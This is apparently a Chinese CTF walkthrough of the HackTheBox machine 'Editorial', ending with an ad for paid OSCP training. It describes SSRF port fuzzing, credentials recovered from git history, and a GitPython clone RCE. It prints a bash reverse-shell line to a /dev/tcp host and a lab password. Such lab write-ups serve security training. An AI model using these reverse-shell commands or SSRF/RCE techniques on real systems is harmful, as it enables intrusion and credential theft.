与SSRF的过招
editorial:社论,社评
preview:预览
一、寻找漏洞
SSRF
点击preview能抓包的原理
### 1. **前端交互**
- **事件监听**: 在网页中,按钮(如“Preview”)通常会绑定一个事件监听器。当用户点击按钮时,JavaScript 代码会被触发。
- **AJAX 请求**: 很多现代网页使用 AJAX(Asynchronous JavaScript and XML)技术来异步发送请求,而不需要重新加载整个页面。点击“Preview”按钮可能会触发一个 AJAX 请求,将表单数据发送到服务器。
### 2. **网络请求**
- **HTTP 请求**: 当按钮被点击后,浏览器会生成一个 HTTP 请求(如 GET 或 POST),并将其发送到指定的服务器端点。这就是 Burp Suite 可以捕获的请求。
- **请求内容**: 请求中可能包含用户在表单中输入的数据(如书名、电子邮件等),这些数据会被发送到服务器进行处理
在其中寻找各端口回显的不同与规律,比如回显的时间,和信息等等
猜测有些端口不回显,jpeg路径,回显数据路径
猜测原因:
有些程序员会在某些端口,放置大量API的端口,或者密钥,更甚至是数据库的敏感信息
(这与网页的交互有关)
于是进行爆破
二、爆破
寻找爆破的端口字典
去谷歌搜索常用端口列表
直接把他们全部复制过来,拿到kali上做过滤
查看我们复制的
以空格为分割,打印第一行,创建并追加到new_ports中
cat web_ports | awk -F ' ' '{print $1}' | tee -a new_ports
发现还有 /TCP等字符阻碍我们
以反斜杠为分隔符,打印第一行,创建并追加到final_ports文件中
cat new_ports | awk -F '/' '{print $1}' | tee -a final_ports
最后别忘了使用vim检查,将为过滤好的字符或行数,手动删除
使用burp爆破
在爆破一半中,发现漏洞端口 5000
以上是比较愚蠢的做法,五百多个端口,需要等十几分钟
下列是官方wp
根据发现我们看到所有响应都包含一个.jpeg文件扩展名。尝试使用Python脚本模糊所有开放端口(1-65535)并过滤掉任何不包含.jpeg文件扩展名的文件
下面是官方的脚本:
分析:
该脚本使用请求库发送HTTP请求。它首先创建一个名为a的空二进制文件,该文件用作POST请求中bookfile的占位符。然后脚本遍历从1到65534的所有TCP端口。对于每个端口,它打开空文件并为POST请求准备数据,将bookurl设置为本地IP和正在测试的当前端口。该脚本向http://editorial.htb/upload-cover发送POST请求,包括空文件和URL数据。发送请求后,它检查响应是否以.jpeg扩展名结束
三、拿shell
url上写入http://127.0.0.1:5000
接下来,我们可以继续右键单击图像并选择在新选项卡中打开图像。这将导致文件被下载
jq命令通常会打印更利于我们阅读的json格式
获得密码
ssh登录成功
四、提权(这里的垂直提权很难,要是不会,可以理解)
水平提权:
一般获得一个shell后,在进入的当前目录下,都会有敏感信息,一般要考虑将当前目录挖干净,再去考虑其他提权
发现目录下有.git
不妨查看一下有几个拥有bash的账号
目前思路很清晰,先探索.git文件信息,不行,再用其他方法
三个用户,一般情况下,作者会让我们横向移动到第三用户上,再垂直提权
探索.git文件
获得账号密码
git log
运行这个命令后,Git 会显示当前分支的提交历史,按时间倒序排列(最新的提交在最上面)。每个提交记录通常包括以下信息:
- **提交哈希**: 每个提交都有一个唯一的 SHA-1 哈希值,用于标识该提交。
- **作者**: 提交的作者姓名和电子邮件地址。
- **日期**: 提交的日期和时间。
- **提交信息**: 描述该提交所做的更改的简短信息
git show commit_hash
git status
都为非常常用的命令
获取账号密码 prod : 080217_Producti0n_2023!@
垂直提权:
代码分析:
第一 分析引入的库
第二 看注释信息
第三 看变量名,猜命令含义
第四 不会的可通过在线搜索,或手册搜索,便于理解
第一行声明了 Python 解释器的路径,此脚本由python3创建
os为与操作系统交互的常用库,如os.system('bash -i >& /dev/tcp/10.10.10.10/1234 0>&1')
sys为访问用户输入参数的库
`Repo`: 从 `git` 库中导入的类,用于操作 Git 仓库
os.chdir() 即为改变当前工作环境,就是说后续的操作将在 /opt/internal_apps/clone_changes 目录下执行 chdir 即为 change dir 改变目录的意思
url_to_clone 为用户输入的第一个参数
Repo.init() 为初始化一个Git仓库
r.clone_from() 为克隆远程的仓库 从clone 和 from中可以读出信息
multi_options() 是一个额外的 Git 配置选项,意为允许使用扩展协议(如 ext 协议)进行克隆
代码漏洞利用:
由于用户输入验证不当,所有版本的 gitpython 软件包都容易受到远程代码执行 (RCE) 攻击,这使得攻击者可以将恶意制作的远程 URL 注入到 clone 命令中
想学习更多的oscp靶机相关的,可以观看,下图的
泷羽sec团队,我们提供优质的oscp系统化教学,请根据自己的资金情况,着重选择是否报名课程 假如你想深入了解我们团队目前的教学模式可以扫描下方我的微信二维码,我会给你提供详细的介绍,什么问题都可以询问我这取决于,你报考oscp的决心,我们欢迎你的到来
原文始发于微信公众号(泷羽sec-siznwaa):Editorial
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论